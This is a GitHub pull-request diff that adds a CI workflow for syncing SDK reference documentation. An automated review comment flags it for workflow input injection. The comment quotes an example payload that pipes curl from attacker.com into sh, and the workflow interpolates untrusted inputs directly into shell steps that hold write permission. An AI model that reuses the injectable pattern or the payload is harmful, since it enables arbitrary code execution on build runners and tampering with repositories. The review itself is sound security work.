Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
113 changes: 113 additions & 0 deletions .github/workflows/sdk-reference-sync.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
name: Sync SDK Reference Documentation

on:
# manual trigger with inputs
workflow_dispatch:
inputs:
sdk:
description: "SDK to generate (see sdks.config.ts for available SDKs, or use 'all')"
required: true
default: "all"
type: string
version:
description: "Version to generate (all, latest, or specific like v2.9.0)"
required: true
default: "all"
type: string

# triggered from e2b-dev/e2b repo on release
repository_dispatch:
types: [sdk-release]

jobs:
generate:
runs-on: ubuntu-latest
permissions:
contents: write

steps:
- name: Checkout docs repo
uses: actions/checkout@v4
with:
fetch-depth: 0

- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: "20"

- name: Install pnpm
uses: pnpm/action-setup@v4
with:
version: 9

- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: "3.11"

- name: Install generator dependencies
working-directory: sdk-reference-generator
run: pnpm install --frozen-lockfile

- name: Install Python dependencies
run: pip install -r requirements.txt

- name: Install Poetry
run: pip install poetry

- name: Determine SDK and Version
id: params
run: |
if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then
SDK="${{ github.event.inputs.sdk }}"
VERSION="${{ github.event.inputs.version }}"
elif [[ "${{ github.event_name }}" == "repository_dispatch" ]]; then
SDK="${{ github.event.client_payload.sdk }}"
# on repository_dispatch, default to "all" to auto-detect missing versions
VERSION="${{ github.event.client_payload.version }}"
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Workflow input injection allows arbitrary command execution

High Severity

The workflow directly interpolates user-controlled inputs (github.event.inputs.sdk, github.event.inputs.version, github.event.client_payload.sdk, github.event.client_payload.version) into shell scripts using ${{ }} expressions. This is a script injection vulnerability - if a user with write access provides malicious input like "; curl attacker.com/malicious.sh | sh; echo ", it breaks out of the quoted string and executes arbitrary commands. The workflow has contents: write permission, allowing attackers to modify repository contents. The safe pattern is to use environment variables instead of direct interpolation.

Fix in Cursor Fix in Web

VERSION="${VERSION:-all}"
fi

echo "sdk=${SDK:-all}" >> $GITHUB_OUTPUT
echo "version=${VERSION:-all}" >> $GITHUB_OUTPUT

- name: Generate SDK Reference
working-directory: sdk-reference-generator
run: |
pnpm run generate \
--sdk "${{ steps.params.outputs.sdk }}" \
--version "${{ steps.params.outputs.version }}"

- name: Verify generated files
run: |
echo "Generated SDK reference files:"
find docs/sdk-reference -type f -name "*.mdx" 2>/dev/null | head -20 || echo "No MDX files found"

- name: Commit and push changes
run: |
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"

git add docs/sdk-reference/
git add docs.json

if git diff --staged --quiet; then
echo "No changes to commit"
else
git commit -m "[skip ci] Update SDK reference: ${{ steps.params.outputs.sdk }} ${{ steps.params.outputs.version }}"
git push
fi

- name: Summary
run: |
echo "## SDK Reference Generation Complete" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "- **SDK**: ${{ steps.params.outputs.sdk }}" >> $GITHUB_STEP_SUMMARY
echo "- **Version**: ${{ steps.params.outputs.version }}" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "### Generated Files" >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
find docs/sdk-reference -type f -name "*.mdx" | wc -l | xargs echo "Total MDX files:" >> $GITHUB_STEP_SUMMARY
find docs/sdk-reference -type f -name "*.mdx" >> $GITHUB_STEP_SUMMARY || true
echo '```' >> $GITHUB_STEP_SUMMARY
5 changes: 5 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,2 +1,7 @@
.idea
.DS_Store

node_modules

# Generated SDK navigation (intermediate file)
sdk_navigation.json
3 changes: 3 additions & 0 deletions .mintignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
sdk-reference-generator/

scripts/
Loading